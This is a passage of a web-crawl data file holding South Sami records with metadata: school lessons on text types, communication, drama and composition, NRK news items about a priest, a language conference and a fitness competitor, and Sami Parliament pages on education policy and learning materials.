Seedtijen vuajnoe dam klaerede.\n● Saernieh, filmi, gærjaj jallh musihki bïjre. Tjaalege ryöktesth lohkijidie filmem, gærjam jallh musihkem juvnehte jallh doelehte. Dovne kultuvredarjomh (filme, gærja, musihke, teatere, konserte) åehpiedahta vuarjasjimmine. Dah daamhtaj tjaelijen jïjtse vuajnoem vuesiehtieh.\n● Reklaame. Aajkoe lea dåastojem tsevtsedh jïh dan vuajnoem jeatjahtehtedh juktie dïhte galka maam joem åestedh, aktem dorjesem jallh dïenesjimmiem.\n● Ohtseme. Aajkoe lea dåastojem tsevtsedh guktie edtja vïenhtedh datne dïhte bööremes ohtsije. Tjirkeslaakan edtjh dam tjaeledh jïh byjjes gïelem nuhtjedh.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/163198?fag=126960","date":"2017-03-30T05:01:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00365-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":389,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mij lea govlesadteme\nKråahpine sjeavodslaakan aaj govlesadtebe. Ååredæjjine jïh kråahpine vuesehth jis aavosne jallh hujnesne. Jis gïetem lutnjh klaassesne dellie vuesehth datne sïjhth maam akt jiehtedh. Govlesadteme-tsiehkie tsavtsa guktie dåemiedibie. Ibie mijjieh eejnegen lïhkebe dan bïjre ussjedh. Baakoeh jïh jiehtegh veeljebe tsiehkiej mietie. Mijjieh govlesadteme-tsiehkiem krööhkestibie. Maehtebe aaj gellie vuekiej mietie govlesadtedh, ovmessie gïeline.\nBaakoe verbum latijne-gïeleste båata jïh seamma goh baakoe saemien-gïelesne. Dovne njaalmeldh jïh tjaaleldh tjaalegh\/bïevnesh maam datne jeahtah jallh tjaelieh jïh seedth, verbaale-gïeleldh tjaaleginie gåhtjobe.\nDagke datne sïjhth vaajmoem paehpieradtjese guvviedidh jïh dov voelpen bïenghkese dibrehtidh jallh rööpses blommam sutnjien vedtedh. Dellie datne guvvine jïh symboline govlesadth. Datne maahtah aaj kråahpe-gïeline govlesadtedh, voelpese mojjestidh, tjelmiem trimhkestidh jallh dam gaanestidh.\nTsiehkie nænnoste mejnie gïeline datne veeljh govlesadtedh, men sisvege mahte seammalaakan dovne njaalmeldh jiehtiegisnie, tekste-dïjretjisnie, vaajmoe-guvvesne jïh gaanestimmesne. Dan gaavhtan hijven jis mijjieh aktem jiehtegem dej bïjre utnebe, dah gaajhkh leah tjaalegh. Tjaalege vuesehte maam datne sïjhth govlesadtedh.\nsoptsestalledh\nsnakke sammen (om flere), prate, fortelle i vei\nnænnoestidh\nbekrefte, bevise; bestyrke, gi sin tilslutning til, bestemme","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/161361?fag=126960","date":"2017-04-27T09:22:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122041.70\/warc\/CC-MAIN-20170423031202-00262-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":168,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Draaman almetjh\nÅejvie-almetjh\nÅejvie-almetjh draamesne leah dah mah mijjieh dååjrebe vihkielommes draamesne. Naan dorjehtimmesne lea akte tjïelkes åejvie-almetje, jïh jeatjah dorjehtimmine dellie gellie almetjh seamma vihkeles. Shakespearen dorjehtimmesne \"Romeo jïh Julia\" lea dovne Romeo jïh Julia åejvie-almetjh. Gåabpatjahkh seamma ulmiem utniejægan, dah guaktah sïjhtijægan aktine jieledh, jïh dah gaajhkem darjoejægan guktie ulmiem jaksedh.\nDah mubpieh almetjh draamesne\nDah mubpieh almetjh draamesne karakteerh, mah eah leah dorjehtimmien jarngesne. Daamhtaj dah aelhkies karakteerh mah eah dorjehtimmien mietie skearkegh. Men dah åejvie-almetjem viehkiehtieh dahkoem skaepiedidh.\nBaakoe\nmubpieh almetjh\nbipersoner\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/174839?fag=126960","date":"2017-05-24T10:23:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00517.warc.gz","language":"sma","language_score":0.9997698665,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997698664665222}","num_words":137,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Komposisjovne\nTjaelije soptsesem tseegkie. Soptsese aalkoem, åejvie-boelhkem jïh galhkuvem åtna. Mij akt heannede jïh tjaelije almetjh mijjese åehpiedahta. Tjaelije byjresem buerkeste jïh kaanne dialååge-hammojne tjaala. Gaajhkh daah leah komposisjovne guktie soptsesem soptsesti.\nGuktie tjaalegem tseegkeme\nKomposisjovne lea guktie tjaalege lea ektesne bïejeme jallh tseegkeme. Gosse mijjieh epihken tjaalegen komposisjovnem goerehtibie, dellie mijjieh jiehtebe maam akt dan bïjre guktie tjaelije heannadimmiem tseegkie. Dan nuelesne naan gyhtjelassh mah viehkine åtnah gosse sïjhth komposisjovnem goerehtidh:\n- Guktie tjaalege aalka?\n- Maam tjaelije referaatine soptseste?\n- Maam tjaelije scenigujmie soptseste?\n- Gååvnese maam akt tjaalegisnie mij åvtese tjuvtjiedidh?\n- Gååvnese maam akt mij tjaalegisnie bååstide tjuvtjiedidh?\n- Guktie tjaalegen galhkuve?\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- skrive tekster med tema og fagterminologi tilpasset eget utdanningsprogram etter mønster fra ulike eksempeltekster\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/171280?fag=126960","date":"2017-05-24T10:18:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00036.warc.gz","language":"sma","language_score":0.9972365499,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9972365498542786}","num_words":182,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Dah jaepieh hearrine barkeme, gaajh lustes jih aaj barkoes orreme jih åadtjodh almetjh gaavnedidh sårkosne, lyøvlehke jih lustebe gåessie geerjene, aavosne leah jeahta Bierna Leine Bientie.\nDaelie retnon edtja båeries baalhkam åadtjodh dåastodh.Hearrine barkeme gellieh jaepieh. Sov teologije øøhpetimmiem lohki Menighetsfakultetesne Oslosne. Hearrine sjidti jaepien 1979. Daan mænngan akten jaepien Løddingesne barki eannan Raanesne, Noerhtelaantesne eelki. Desnie luhkie jaepieh barki. Daan mænngan Snåasese juhti.\nSaemien gïelem lohkedh.\n–Lustes jih daerpies lij jih åarjelsaemien gielem lohkedh. Nuepiem åadtjoejim jih akten jaepiem, Knut Bergslanden ektine saemien gielem lohkedh. Daan mænngan månnoeh Jahken elkien Anna bijbele teeksth, eelkigan åarjelsaemien gielese jarkoestidh. Dihte lij øøvre daerpies.\nÅarjelsaemien hearra.\nLuhkie tjijtje jaepieh åarjelsaemien hearrine barkeme. Jih guktie dah jaepieh orreme?\nDaan sov jijnjh lustes mujhtesh åtnam. Muvhtene aejkien fuehpesne, bijre jarkan fealadidh, varkie mubpien sæjjan vuelkedh. Luste jijnjh almetjh gaavnedidh, gijhteles leam, dagkeres barkoem åtneme jeahta Bientie.\nJaepien 2007 dellie Bierna L Bientie akte dejstie vijhte hearrijste maam nommedehteme goh bïskohpe Nidaros Bispedømme. Idtji Bientie jijtje, sijhth bïspe sjidtedh.\nBijbele teeksth jarkoestidh.\nJienehke daejstie bijbele teekstide maam jijtje nuhtjeme tjoevereme jijtje jarkoestidh guktie dihte orreme?\n– Vuajnam daerpies orreme. Vaenie salmh jih liturgie aaj saemien gïelesne. Daelie voestegh edtjem bijbele teeksti gujmie barkedh.\nNoereh tjuerieh maadtoe aerpiem guedtedh.\n– Gåessie manne noere lim dellie manne skaamasjim jih håjnoesne lim juktie ij dihte saemien åssjalommes jih vuekie vååjnh gænnah, laedtien raedtesne. Ij åadtjh maam saemieh bijre skuvlesne govledh jih lohkedh. Dah noereh daelie tjuerieh geerjene jih garmeres årrodh, saemieh leah jih daam maadth aerpiem guedtedh jeahta Biente.\nMietsken 3.b. lea Bierna L.Bientie ,Johkegaskesne daan sov minngemes gyrkesjimmie goh åarjelsaemien hearra. Daan raajeste aalka dihte orre åarjelsaemien hearra,Einar Bondevik, Raaneste.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/aarjelsaemien-hearra-orrije-1.11853896","date":"2017-08-17T06:34:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886102967.65\/warc\/CC-MAIN-20170817053725-20170817073725-00469.warc.gz","language":"sma","language_score":0.9999815226,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999815225601196}","num_words":269,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Polargievlien ålkoejielederaerien Knut Berntsen soptseste ahte konferanse eevre dieves lea jih lea vihkeles skreejredh jienebh almetjh saemiestidh. Dihte hov gaajhks eevtjeminnie guktie aelkedh åarjelsaemiengielesne nuhtjedh.\n–Mijjieh fokusem saemien gielese utnebe, jih guktie mijjieh edtjebe gielem nænnoestidh. Aarborten tjielte edtja guaktengïele sjidtedh, jih mijjieh sijhtebe govledh guktie dah edtjieh dam dïedtem vaeltedh, Berntsene jeahta.\nGaektsiehluhkie almetjh leah bieljedamme dahkoe båatedh, jih akte guhte håaledh leah Fransisca Kappfjell Herbst. Dihte edtja soptsetidh maan vihkeles Gaaskenøørjen saemieskuvle orreme sov identiteetese jih saemiegielem nænnoestidh.\nAarporten tjielteste aaj båetieh jih edtjieh soptsestidh maegkeres haestieh dah vuajna gosse tjielte edtja syøkedh saemiegielen reeremedajvese baahtsedh. Staatentjaelije Anne-Karin Olli jih saemiedigkien presideente Vibeka Larsen aaj konferansesne guessine.\nDihte konferaanse edtja gøøkte biejjieh årrodh, jih lea riejries jirreden.","id":"","dump":"CC-MAIN-2017-47","url":"https:\/\/www.nrk.no\/sapmi\/dah-edtjieh-soptsestidh-guktie-gielem-naennoestidh-1.13439688","date":"2017-11-25T02:41:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934809229.69\/warc\/CC-MAIN-20171125013040-20171125033040-00294.warc.gz","language":"sma","language_score":0.9999798536,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999798536300659}","num_words":119,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoem lea njoelkedassi (2005:765) staatedåarjoeh nasjovnelle unnebelåhkojde mietie joekedamme.\nGieh maehtieh dåarjoem syökedh?\nÅårganisasjovnh mah maehtieh åårganisasjovnedåarjoeh åadtjodh leah rijhkeåårganisasjovnh jallh åårganisasjovnh rijhke-ïedtjigujmie mah\n- naakenh dejstie nasjovnelle unnebelåhkoej åvteste berkieh jih mej jeanatjommes lihtsegijste åårganisasjovnesne, dan byjrehke siebrine jallh goevtesisnie destie unnebelåhkoedåehkeste båetieh, jih\n- darjomh utnieh mah sijhtieh tseevtsemassem nasjovnelle unnebelåhkose nännoestidh, jijtsese nasjovnelle unnebelåhkoedåehkien identitetem, kultuvrem jih gïelem evtiedidh, diskrimineringe vuastalestedh jallh daajroeh geerjehte jijtsese dåehkien bïjre","id":"","dump":"CC-MAIN-2017-51","url":"http:\/\/www.lansstyrelsen.se\/Stockholm\/Sv\/manniska-och-samhalle\/nationella-minoriteter\/aarjelsaemien\/Pages\/aarganisasjovnedaarjoeh.aspx","date":"2017-12-15T08:16:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948567785.59\/warc\/CC-MAIN-20171215075536-20171215095536-00127.warc.gz","language":"sma","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999991774559021}","num_words":67,"character_repetition_ratio":0.142,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte åarjelsaemien niejte Maiken Stinnerbom (20), Skierdesne, Stjørdaelesne årroeminie. Daate lea akte mij biejjie, gåessie tjuara ensi-laakan saavredh dennie saavreme gåetesne Skierdesne.\n– Daan biejjien edtjem roejtide jih råvvem saavredh dihte vihkeles daan båetien gaahtjemisse Oslosne.. Jih jeatjah biejjien dellie gietide jih tjåejjiem saavrem.\nMinngemes hieljen Stinnerbom daam sov voestemes gaahtjemem vitni -debutant 163 cm Sandefjord Open. Stinnerbom lea bielie jaepien saavreme jih daate gaahtjeme vuekie urreste sutnan.\n– Manne bååhperim daan hijvene gåeredi. Luste lea. Tjoeverem eensi-laakan saavredh, dah kalorie ryøknedh. Ij åååtje naan lissie beabpmoem byøpmedidh. Jijnje barkoe lea ,daate munnjan sjeahta tryjjedem jih jijnjem saavredh ,jeahta Stinnerbom.\nHieljese dellie Oslo Grand Prix jih daejnie Fitness gaahtjeminie dovres giehtelidh. Tjoeverh jijnjem feeledh, dovres bikinim åestedh jih aktem coachem tjoerh utnedh jih fierhten biejjien tjoerh saavredh.\n– Dihte mov fuelhkie tuhtjieh manne daan skreajnan. Majken føørhkede.– Daate lea daan gaahtjemen åvtelen manne njealkoeminie. Daan mænngan manne vihth båajtoem jeahta Stinnerbom.\nMubpien jaapan maahta Nøørjen miesterskape NM Nøørjesne sjidtedh. Gieh daejrieh, kanne åarjelsaemien niejte desnie meatan.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.nrk.no\/sapmi\/aarjel-saemien-fitness-niejte-1.11660328","date":"2018-01-23T05:08:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00559.warc.gz","language":"sma","language_score":0.999984622,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999984622001648}","num_words":161,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie tuhtjie vihkeles aktine ellies saemien ööhpehtimmiepolitihkine. Daajroe lea vihkeles siebriedahkeevtiedimmien gaavhtan. Maanagïertem, maadthlïerehtimmiem, jollebe ööhpehtimmiem jïh dotkemem dåarjoehtidh lea eevre vihkeles jis saemien siebriedahke edtja evtiesovvedh saemien aarvoej, visjovni, prioriteradimmiej jïh premissi mietie.\nSaemiedigkie sæjhta:\n- Saemien perspektijve gorresåvva nasjonaale, noerhtelaanten jïh gaskenasjonaale politihkesne ööhpehtæmman jïh dotkemasse.\n- Saemien perspektijve gorresåvva laakine jïh stuvremetjaatseginie maanagïertese, maadthlïerehtæmman, jollebe ööhpehtæmman jïh dotkemasse.\n- Saemieh dam maahtoem, daajroeh jïh tjiehpiesvoeth åadtjoeh mah krïevesuvvieh juktie jieliedisnie bïerkenidh, juktie maehtedh saemien gïelem jïh saemien siebriedahkem vaarjelidh jïh evtiedidh, jïh eadtjohkelaakan meatan årrodh saemien, nasjonaale jïh gaskenasjonaale siebriedahkesne.\n- Daaroeh hijven daajroeh åadtjoeh saemien kultuvren, siebriedahken jih histovrijen bïjre.\nByjjenimmie- jïh lïerehtimmiegoevtesen barkijh jïh gaskesadtemebïevnesh\nRaerielïhtsege\nKrirrie: NSR\nMaadthlïerehtimmie\nSaemien gïele, kultuvre jïh aerpievuekien daajroe leah vihkeles aarvoeh saemien maadthlïerehtimmesne. Vihkeles saemien maanah jïh noerh åadtjoeh jïjtsh gïelem lïeredh, jïjtse gïelesne lïeredh, saemien siebriedahkejieleden, histovrijen jïh aerpievuekiej bïjre lïeredh abpe 13-jaepien skuvletïjjen maadthskuvlesne jïh jåarhkeskuvlesne. Daate saemien maanaj jïh noeri identiteetem nænnoestahta, dej aktem jearsoes viedteldimmiem jïjtsh kultuvresne vadta jïh dah goerkesem åadtjoeh dah leah akte bielie aktede stuerebe ektiedimmeste goh saemieh jïh aalkoealmetjh.\nSaetniesvoeth saemien bïjre maadthlïerehtimmesne\nMaadthlïerehtimmie lea doh 13 jaepieh learohke skuvlesne vaadtsa maadthskuvlesne jïh jåarhkelïerehtimmesne. Saemien learohkh maadthlïerehtimmesne reaktam utnieh saemien lïerehtimmiem åadtjodh. Saemien lïerehtimmie lea reaktaj bïjre lïerehtæmman saemien gïelesne, reakta saemien gïelelïerehtæmman, reakta lïerehtæmman saemien learoesoejkesjevierhkien mietie. Reakta saemien gïelem lïeredh lea faamosne gaajhkide maanide jïh noeride saaht gusnie skuvlem vaedtsieh byögkeles maadthskuvlesne jïh jåarhkeskuvlesne Nöörjesne. Reaktah lïerehtæmman saemien gïelesne jïh saemien learoesoejkesji mietie leah vielie gaertjiedamme jïh eah leah faamosne gaajhkide saemien learoehkidie daan biejjien. Vielie saemien maanaj jïh noeri reaktaj bïjre maahtah aaj lohked daejnie nedtesæjrojne Norges nasjonale institusjon for menneskerettigheter.\nSkuvlen aajhtere, daate sæjhta jiehtedh tjïelte jallh fylhkentjïelte dïedtem åtna saemien lïerehtæmman sjïehteladtedh. Maahtah vielie dan bïjre lohkedh daesnie saemien lïerehtimmie.\nSaemiedigkie aktem faamoem laaken mietie learoesoejkesjh evtiedidh faagesne saemien jïh jeatjah saemien faagine. Saemiedigkie aaj faamoem åtna saemien sisvegem vihtiestidh saemien, parallelle learoesoejkesjinie jïh sïejhme learoesoejkesjinie mah gaajhkijste skuvlijste åtnasuvvieh Nöörjesne. Maahta vielie dan bijre lohkedh daesnie learoesoejkesjh.\nSaemiedigkien lea dïedte saemien learoevierhtieh evtiedidh. Maahtah vielie dan bïjre lohkedh daesnie dåarjoe juktie learoevierhtieh evtiedidh.\nJeatjah vierhkievierhtieh mejtie Saemiedigkie åtna juktie saemien maadthlïerehtimmiem eevtjedh:\n• stipende learoehkidie mah saemien veeljieh jåarhkeskuvlesne\n• aerpievuekien daajroe jïh saeien miehtjieåtnoe maadthskuvlesne\n• stipende jollebe ööhpehtæmman mij aaj lea faamosne dejtie studentide mah saemien lohkehtæjjaööhpehtimmiem jallh jollebe ööhpehtimmiem vaeltieh åarjel-, julev- jallh noerhtesaemien gïelesne\nMaahtah vielie gaavnedh Saemiedigkien barkoen jïh prioriteradimmiej bïjre maadthlïerehtimmien sisnjelen Saemiedigkien bïevnesisnie lïerehtimmien jïh ööhpehtimmien bïjre jïh Saemiedigkien budsjedtesne.\nUtredning. Kommunereformen og samiske interesser\nSametingsmelding om opplæring og utdanning\nForskning og høyere utdanning\nDotkeme jïh dåarjelimmie jollebe ööhpehtimmesne leah vihkeles vaarjelimmien, nænnoestehtemen jïh evtiedimmien gaavhtan saemien siebriedahkeste. Saemiedigkie vuajna daerpies dotkemebaseradamme daajrojne reeremisnie jïh politihkeles evtiedimmmesne. Vihkeles saemien guhkiebasse evtiedidh goh dotkemegïele\nAaj vihkeles sjïehteladtedh jïh skraejriem vedtedh jieniebidie saemide dotkijinie sjïdtedh jïh jïjtse siebriedahkesne dotkedh, jïh aaj sisvegem åadtjodh saemien tsiehkiej bïjre\/saemien gïelesne dejnie profesjovneööhpehtimmine mah joe gååvnesieh jïh dejnie mah båetije aejkien båetieh.\nSaemiedigkien politihke sæjhta saemien tsevtsemefaamoem jïh perspektijvem gorredidh dotkemisnie jïh jollebe ööhpehtimmesne sjyöhtehke moenehtsinie, ståvrojne jïh raerine. Gosse lïhtsegh raereste jïh nammohte dle Saemiedigkie gegkeste saemien ïedtjh gorredidh DjE-suerkesne.\nSaemiedigkie vïhtesjæjjastatusem åtna programmeståvrosne saemien dotkemasse Nöörjen dotkemeraeresne. Programmen bijjemes ulmie lea saemien dotkemem nænnoestehtedh, dovne kvaliteeten jïh daejremes kvaliteeten bïjre. Saemiedigkie ulmine åtna aktem staeries lïhsegem nammoehtidh Nöörjen dotkemeraerien ståvrose juktie saemien siebriedahken dotkemedaerpiesvoetem gorredidh.\nSaemiedigkie lea nammoehtamme Gunn-Britt Retter jïh Roger Skarvik goh ståvroelïhtsegh Saemien jïlleskuvlesne boelhken 2015-2018. Persovneles sæjjasadtjh leah Outi Susanne Länsman jïh Ánde Somby.\nRegijonaale dotkemefoenth\nSaemiedigkie tjirkijh åtna foenteståvrosne regijonaale dotkemeraeride Noerhte-Nöörjesne jïh Gaske-Nöörjesne Noerhte-Nöörjen foenteståvrosne påastedåaktere Nord universiteetesne Astrid Dankertsen ståvroelïhtsege jïh prorektovre Line Kalad Saemien jïlleskuvlesne lea sæjjasadtje.\nFoenteståvrosne Gaske-Nöörjese saemiedigkietjirkije Nora Marie Bransfjell ståvroelïhtsege jïh Sigbjørn Dunfjeld lea sæjjasadtje.\nSaemiedigkie raeriestimmiereaktam åtna ståvroelïhtsegidie ståvrose UiT Nöörjen Arktihkeles universiteetesne.\nLissine Saemiedigkien akte lïhtsege nöörjen UNESCO-kommisjovnesne. Lars Andreassen lea tjirkije daan boelhken.\nFaagestrategeles ektievoete saemien ööhpehtæmman\nTseegkeme aktede dagkeres ektievoeteste lea akte bielie juktie bæjjese fulkedh doh juvnehtimmieh Butenschøn-reektehtsisnie \"Langs lange spor\" jaepeste 2012. Saemiedigkieraerie lea rååresjadteme jïh soptsestalleme Maahtoedepartemeentine mearan barkoe jåhteme jïh lea madtjeles ihke ektievoete daelie lea tseegkeme jïh lea akte bielie Universiteete- jïh jïlleskuvleraereste. Ektievoete konstitueradamme sjïdti 19.03.2015. Saemiedigkie vïhtesjæjjam åtna ektievoetesne.\nAvtehke: Else Grete Broderstad, Universiteteete Romsesne, mubpieåvtehke: Jelena Porsanger, Saemien jïlleskuvle\nLïhtsegh: Kirsti Strøm Bull, Universiteete Oslosne, Sonni Olsen, Universiteete Romsesne, Johan Strömgren, Saemien jïlleskuvle, Per Ravna, Universiteete Nordlaantesne, Åshild Karevold, Noerhte-Trööndelagen jïlleskuvle, jïh Mikkel Rasmus Logje, Saemien jïlleskuvle.\nSaemiedigkiebïevnese jollebe ööhpehtimmien jïh dotkemen bïjre\nLearoesoejkesjh\nLearoesoejkesjh leah mieriedimmieh faagi bïjre, ulmiej bïjre lïerehtæmman, gamtoen bïjre lïerehtimmeste jïh tjïrrehtimmien bïjre lïerehtimmeste. Lissine dan sïejhme learoesoejkesjevearhkan Maahtoelutnjeme, akte jïjtsesaemien learoesoejkesjevierhkie gååvnese Learoesoejkesjevierhkie Maahtoelutnjemasse – Saemien.\nLearoevierhtieh\nSaemiedigkien lea dïedte evtiedimmien åvteste saemien learoevierhtijste noerhte-, åarjel- jïh julevsaemien gïelesne. Saemiedigkie barka ihke saemien learohkh saemien learoevierhtieh utnieh mah leah daaletje learoesoejkesjevierhkien mietie noerhte-, julev- jïh åarjelsaemien gïelesne, jïh hijven bïevnesh dej bïjre gååvnesieh.\nMijjieh libie premissedeallahtæjja juktie saemien learoevierhtieh evtiedidh jïh beetnehvierhtieh dåarjobe saemien learoevierhtieprosjektide. Saemiedigkie ulmiem, strategijh jïh råajvarimmieh tjïerteste viehkievierhtide juktie learoevierhtieh evtiedidh soejkesjevierhkiej jïh budsjedteprosessi tjïrrh. Saemiedigkie vierhtieh joekede, vaaksjoste jïh gïehtjede dåarjoem learoevierhtide mierien sisnjelen laakijste jïh njoelkedassijste. Saemiedigkie sov learoevierhtiebarkoem ektede dan nænnoestamme dahkoesoejkesjasse learoevierhtieevtiedæmman 2015-2018. Dahkoesoejkesje ållermaahta visjovnh, råajvarimmieh jïh fokusesuerkieh juktie learoevierhtieh evtiedidh daaletje soejkesjevierhkiej mietie.\nDåarjoe evtiedæmman learoevierhtijste\nSaemiedigkie fïerhten jaepien dåarjoem evtiedæmman saemien learoevierhtijste joekede. Saemiedigkien dahkoesoejkesje evtiedæmman learoevierhtijste 2015-2018 våaromem vadta dejtie fïerhten jaepien prioriteradimmide learoevierhtieevtiedimmien bïjre. Bertemh, gïehtelimmieh jïh privaate institusjovnh jïh jeatjah byjresh maehtieh dåarjoem åadtjodh juktie sïejhme jïh sjïere sjïehteladteme learoevierhtieh evtiedidh maadthlïerehtæmman. Maahta dåarjoem vedtedh orreevtiedæmman, baaltelåhkoeh, orretrygkeme, staeriedimmie daaletje learoevierhtijste, lissiebiehkieh jallh lissiehtimmie learoevierhteste\/learoevierhkeste.\nLearoevierhtiejarnge\nLearoevierhtiejarngen akte våarhkoe gaajhki saemien learoevierhtiejgujmie\/ lïerehtimmievierhtiejgujmie noerhte-, julev- jïh åarjelsaemien gïelesne mah leah bæjhkoehtamme jaepiej tjïrrh, jïh mah iktemearan olkese båetieh. Vuesiehtimmien gaavhtan tjoejegærjah, plakaath, daabloeh, nossemespïelh, musihke, heamturepaahkh (soptsestimmiepaahkh) jïh filmh. Learoevierhtiejarnge gaajhkem namhtah löönede maanagïertide, skuvlide, studentide jïh aaj mubpide.\nBïevnesh vierhtiej bïjre aaj learoevierhtieportaalesne Ovttas|Aktan|Aktesne gååvnesieh. Gåarede vierhtide löönedh nedteportaalen baaktoe www.ovttas.no, learoevierhtiejarngesne guessine mïnnedh jallh gaskesadtedh tellefovnesne 78 48 42 22. Learoevierhtiejarnge lea gaahpode gaajhkh biejjieh ts. 09.00-15.00\nSaemien learoevierhtieportaale Ovttas|Aktan|Aktesne lea bïevnesh tjöönghkeme saemien learoevierhtiej bïjre. Datne gaavnh guvvieh, gærjah, filmh, tjoejh, lïerehtimmiematerijellem jïh digitaale vierhtieh, tjaalegh jïh tjaatsegh mah maehtieh datnem viehkiehtidh lohkehtæjjine årrodh saemien skuvline. Learoevierhtiejarnge laavenjostoe Saemiedigkien learoevierhtiejarngine löönedimmien bïjre vierhtijste.\nSametingets handlingsplan for utvikling av læremidler 2015- 2018\nArbeidet mot mobbing\nSametingsrådet ønsker å redusere mobbing. Vi mener alle barn og unge har en rett til oppvekst- og læringsmiljøer fri for mobbing og trakassering. Derfor arbeider vi for økt innsats mot mobbing i skoler, barnehager, fritidsarenaer og nabolag. Det er både de unges og de voksnes ansvar.\nHva gjør du når du ser mobbing? Det enkleste er å snu seg vekk, late som om man ikke legger merke til det. Tenke: noen burde si ifra. Du er denne \"noen\". Si ifra til lærer, trener eller en annen voksen. Eller kanskje du kan si fra direkte til den som mobber?\nMobbing må stanses\nAnti-mobbearbeid er verdiløst hvis det ikke også reduserer antall barn, unge og voksne som utsettes for mobbing og trakassering. Vi vet at det skjer på skolen, på skolevei, i garderober og på fritidsaktiviteter. Der hvor mennesker ferdes.\nHjelp og veiledning\nHer finner du hjelp og inspirasjon i arbeidet mot mobbing og trakassering:","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh","date":"2018-02-22T04:39:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814002.69\/warc\/CC-MAIN-20180222041853-20180222061853-00290.warc.gz","language":"sma","language_score":0.9999780655,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 